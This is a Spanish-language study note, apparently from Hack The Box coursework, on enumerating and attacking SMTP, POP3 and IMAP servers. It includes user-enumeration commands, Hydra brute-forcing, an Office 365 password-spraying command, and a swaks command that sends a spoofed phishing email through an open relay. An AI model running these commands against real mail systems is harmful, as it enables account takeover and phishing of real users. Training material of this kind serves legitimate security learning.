Servicios de Correo - Enumeración y Ataques (SMTP/IMAP/POP3)
🔹 ¿Qué es un servidor de correo?
Un mail server maneja el envío y recepción de correos:
-
📤 SMTP (Simple Mail Transfer Protocol) → para enviar mails.
-
📥 POP3 (110/995) → descarga mensajes (por defecto los borra).
-
📥 IMAP4 (143/993) → mantiene los mensajes en el servidor (ideal para múltiples dispositivos).
👉 Flujo básico:
Cliente ✉️ → SMTP → Servidor → SMTP → Otro Servidor → IMAP/POP3 → Cliente.
🔎 Enumeración inicial
Primero identificamos qué tipo de servicio usa la empresa (cloud o self-hosted).
Podemos mirar los MX records del dominio:
host -t MX hackthebox.eu
dig mx inlanefreight.com | grep "MX"
Ejemplo:
plaintext.do. 7076 IN MX 50 mx3.zoho.com.
plaintext.do. 7076 IN MX 10 mx.zoho.com.
plaintext.do. 7076 IN MX 20 mx2.zoho.com.
📌 Si es cloud (O365, G-Suite, Zoho) → ataques especiales 🔒.
📌 Si es custom mail server → posibles misconfigs y servicios inseguros.
📡 Puertos típicos de correo
-
25 → SMTP (envío)
-
465 / 587 → SMTP seguro (TLS/STARTTLS)
-
110 / 995 → POP3 / POP3S
-
143 / 993 → IMAP / IMAPS
📍 Escaneo con Nmap:
nmap -sV -sC -Pn -p25,110,143,465,587,993,995 <IP>

🔌 Cómo conectarse a los servicios de correo
SMTP (envío de correo)
telnet <IP> 25 # SMTP no seguro
openssl s_client -starttls smtp -connect <IP>:587 # SMTP STARTTLS
Comandos básicos:
EHLO localhost
MAIL FROM:<test@dominio.com>
RCPT TO:<usuario@dominio.com>
DATA
Subject: Prueba
Hola, esto es un test.
.
QUIT
POP3 (descarga de correo)
telnet <IP> 110 # POP3 no seguro
openssl s_client -connect <IP>:995 -crlf # POP3S seguro
Ejemplo de comandos:
USER usuario
PASS password
LIST # Lista correos
RETR 1 # Leer correo 1
QUIT
IMAP4 (acceso a buzón en servidor)
telnet <IP> 143 # IMAP no seguro
openssl s_client -connect <IP>:993 -crlf # IMAPS seguro
Ejemplo de comandos:
a LOGIN usuario password
a LIST "" "*"
a SELECT INBOX
a FETCH 1 BODY[]
a LOGOUT
⚠️ Misconfiguraciones comunes
🔍 Enumeración de usuarios vía SMTP
Algunos servidores permiten usar comandos SMTP para validar usuarios:
-
VRFY user → Verifica si el usuario existe.
-
EXPN list → Expande listas de distribución.
-
RCPT TO:user@dominio → Comprueba si el destinatario es válido.
Ejemplo con Telnet:
telnet <IP> 25
VRFY john
EXPN support-team
MAIL FROM:test@htb.com
RCPT TO:pedro
👉 Si el servidor responde con OK, el usuario existe ✅.
🔑 Enumeración con POP3
telnet <IP> 110 USER john
-
+OK→ usuario válido -
-ERR→ usuario inexistente
🤖 Automatizar con smtp-user-enum
smtp-user-enum -M RCPT -U users.list -D inlanefreight.htb -t 10.129.203.12

☁️ Enumeración en la nube (O365, G-Suite, Zoho)
Con O365spray podemos validar dominios y usuarios:
python3 o365spray.py --validate --domain msplaintext.xyz
python3 o365spray.py --enum -U users.txt --domain msplaintext.xyz
👉 Resultado: lista de usuarios válidos en Office 365 📋.
💥 Password Attacks
Una vez tenemos usuarios válidos → probamos credenciales.
Hydra en POP3
hydra -l user.list -P pws.list pop3://10.129.203.12 -t 10
Ejemplo:

Password spraying en O365
python3 o365spray.py --spray -U usersfound.txt -p 'March2022!' --domain msplaintext.xyz
📌 Ventaja del spraying → menos riesgo de bloquear cuentas 🚫🔒.
🎭 Ataques específicos de protocolos
✉️ Open Relay (SMTP abierto)
Un open relay permite enviar correos sin autenticación → se abusa para phishing o spam.
Detectar con Nmap:
nmap -p25 --script smtp-open-relay <IP>
Enviar un correo falso con swaks:
swaks --from fake@empresa.com --to victima@empresa.com \
--server <IP> --header "Subject: Urgente" \
--body "Haz clic en http://phishing.com"
👉 El correo parecerá legítimo, pero viene de nuestro servidor 😈.